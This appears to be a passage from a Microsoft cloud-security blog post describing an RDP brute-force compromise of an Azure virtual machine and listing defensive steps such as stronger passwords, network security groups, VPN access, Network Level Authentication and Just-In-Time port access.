The initial compromise was the result of a successful RDP Brute force attack on a user account which had an easily guessed password. This resulted in the complete compromise of the affected host machine. In this case, the host was configured with a malicious PowerShell code with the primary purpose of credential stealing with the goal of financial or intellectual gain. Microsoft recommends investigating the source of the initial compromise via a review of available log sources, host-based analysis, and if needed, forensic analysis to help build a picture of the compromise. In the case of Azure Infrastructure as a Service (IaaS) and Virtual Machines (VMs), several features are present to facilitate the collection of data including the ability to attach data drives to a running machine and disk imaging capabilities. Microsoft also recommends performing a scan using malware protection software to help identify and remove any malicious software running on the host. If lateral movement has been identified from the compromised host, remediation actions should extend to these hosts.

For cases where the victim host cannot be confirmed clean, or a root cause of the compromise cannot be identified, Microsoft recommends backing up critical data and migrating to a new virtual machine. Additionally, new or remediated hosts should be hardened prior to being placed back on the network to prevent reinfection. However, with the understanding that this sometimes cannot be done immediately, we recommend implementing the following remediation/preventative steps:

◉ Password Policy: Attackers usually launch brute-force attacks using widely available tools that utilize wordlists and smart rule sets to intelligently and automatically guess user passwords. So, the first step is to make sure to utilize complex passwords for all VMs. A complex password policy that enforces frequent password changes should be in place. 

◉ Endpoints: Endpoints allows communication with your VM from the Internet. When creating a VM in the Azure environment, two endpoints get created by default to help manage the VM, Remote Desktop and PowerShell. It is recommended to remove any endpoints that are not needed and to only add them when required. Should you have an endpoint open, it is recommended to change the public port that is used whenever possible. When creating a new Windows VM, by default the public port for Remote Desktop is set to “Auto” which means a random public port will get automatically generated for you. 

◉ Enable Network Security Group: Azure Security Center recommends that you enable a network security group (NSG), if it’s not already enabled. NSGs contain a list of Access Control List (ACL) rules that allow or deny network traffic to your VM instances in a Virtual Network. An endpoint ACL allows you to control which IP address, or CIDR subnet of addresses, you want to allow access over that management protocol.

◉ Using VPN for management: A VPN gateway is a type of virtual network gateway that sends encrypted traffic across a public connection to an on-premises location. You can also use VPN gateways to send encrypted traffic between Azure virtual networks over the Microsoft network. To send encrypted network traffic between your Azure virtual network and on-premises site, you must create a VPN gateway for your virtual network. Both Site to Site and Point to Site gateway connections allows us to completely remove public endpoints and connect directly to the Virtual Machine over secure VPN connection.

◉ Network Level Authentication (NLA): NLA can be used on the host machine to allow only Remote Desktop session creation from domain authenticated users. Because NLA requires the connecting user to authenticate themselves before a session is established with the server, Brute Force, Dictionary Attacks and password guessing attacks are mitigated.

◉ Just In Time (JIT) Network Access: Just in time virtual machine (VM) access in Azure Security Center can be used to help secure and lock down inbound traffic to your Azure VMs. JIT Network Access can be used reduce exposure to a brute force attacks by limiting the amount of time that a port is open and as a result reduce exposure to attacks while providing easy access to connect to VMs when needed.